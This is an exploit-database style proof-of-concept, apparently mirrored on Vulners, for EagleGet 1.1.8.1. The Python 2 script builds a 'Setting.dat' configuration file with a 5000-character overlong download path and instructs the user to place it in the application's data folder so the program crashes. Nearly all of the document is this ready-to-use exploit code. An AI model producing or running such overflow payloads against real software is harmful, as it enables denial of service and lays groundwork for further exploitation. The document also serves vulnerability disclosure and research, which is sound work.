# Exploit Title: EagleGet 1.1.8.1 DoS Exploit
# Date: 03 April 2014
# Exploit Author: Interference Security
# Vendor Homepage: http://www.eagleget.com/
# Software Link: http://www.eagleget.com/download/
# Version: 1.1.8.1
# Tested on: Microsoft Windows XP SP3
print "[*] Crash PoC for EagleGet 1.1.8.1 tested on Windows XP SP3"
print '[*] Creating "Setting.dat" file'
s1 = """[MONITORING]
repair_browser_type=0
clipboard_monitoring=1
browser_monitoring=1
media_dl_btn_show=1
pasue_monitor_by_key=0
universal_capture_mode=1
monitor_file_type=.exe;.zip;.rar;.tar;.gz;.mp3;.mp4;.3gp;.rm;.rmvb;.mpeg;.mpg;.wav;.pdf;.chm;.iso;.msi;.7z;.aac;.ape;.flac;.mkv;.mov;.ogg;.torrent;.apk;.wmv;
not_monitor_sites=siteseal.thawte.com;ecom.cimetz.com;*.voice2page.com;
[GENERAL]
run_with_boost=1
disable_user_guide=0
auto_category=0
min_opt=0
close_opt=1
"""
s2 = "defualt_dl_path=C:\\Documents and Settings\\tester\\My Documents\\EagleGet Downloads\\" + "A"*5000
s3 = """
general_default_save_path=C:\Documents and Settings\tester\My Documents\EagleGet Downloads\General
media_default_save_path=C:\Documents and Settings\tester\My Documents\EagleGet Downloads\Media
documents_default_save_path=C:\Documents and Settings\tester\My Documents\EagleGet Downloads\Documents
software_default_save_path=C:\Documents and Settings\tester\My Documents\EagleGet Downloads\Software
compressd_default_save_path=C:\Documents and Settings\tester\My Documents\EagleGet Downloads\Compressed
use_last_file_category_folder=1
user_license=1
alway_overwrite_exist_file=0
[CONNECTION]
max_download_num=8
max_upload_num=8
max_retry_num=10
sync_dl_task_num=5
download_limits=0
max_download_rate=2048
upload_limits=1
max_upload_rate=2048
auto_resume_download=0
auto_resume_upload=0
user_agent_type=4
custom_agent=
show_server_file_time=1
[PROXY]
proxy_content_type=0
[HTTP_PROXY]
proxy_content_address=
proxy_content_port=80
proxy_content_user=
proxy_content_password=
[SOCKET_PROXY]
proxy_content_address=
proxy_content_port=1080
proxy_content_user=
proxy_content_password=
[AUTOMATION]
disable_sleep_when_processing=1
dl_finished_shutdown=0
dl_finish_check_virus=0
antivirus_process_path=
antivirus_params=
antivirus_scan_file_type=.zip; .rar; .exe; .doc; .com; .bin; .gz; .tar; .arj; .lzh; .msi; .cab;
automation_type=0
[SCHEDULE]
scheduel_stop=0
insert_head_of_schedule_queue=0
schedule_type=0
schdeule_daily_type=127
schedule_start_time=20:00:00
schedule_stop_time=23:00:00
schedule_daily_date=2014-04-03
[SILENTMODE]
silent_mode=0
show_taskmonitor=1
show_add_dwonload_wnd=1
show_finish_notify_dlg=1
play_finish_notify_sound=1
[CLOUD]
del_file_ul_finish=0
default_cloud_type=0
dropbox_info_user=
dropbox_info_password=
google_drive_info_user=
google_drive_info_password=
skydrive_info_user=
skydrive_info_password=
[OTHER]
show_dlg_del_stask_=1
show_dlg_del_mtasks_=1
show_dlg_exit_proc_=1
disable_auto_update=0
ui_init_pos=259,13,1109,613
column_size=45,156,135,115,251
export_list_save_path=
[FLOATWND]
float_wnd_pos_x=1195
float_wnd_pos_y=30
[LANGUAGE]
user_ui_language=32821
[AUTOUPDATE]
auto_update_file=
auto_update_file_md5=
auto_update_file_params=
"""
settings = s1+s2+s3
f = open("Setting.dat", "w")
f.write(settings)
print "[*] File created."
print '[*] Copy file to "C:\\Documents and Settings\\<username>\\Application Data\\EagleGet\\UserData"'
print "[*] Run EagleGet and Let it Crash ;)"
print "[*] Done"Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation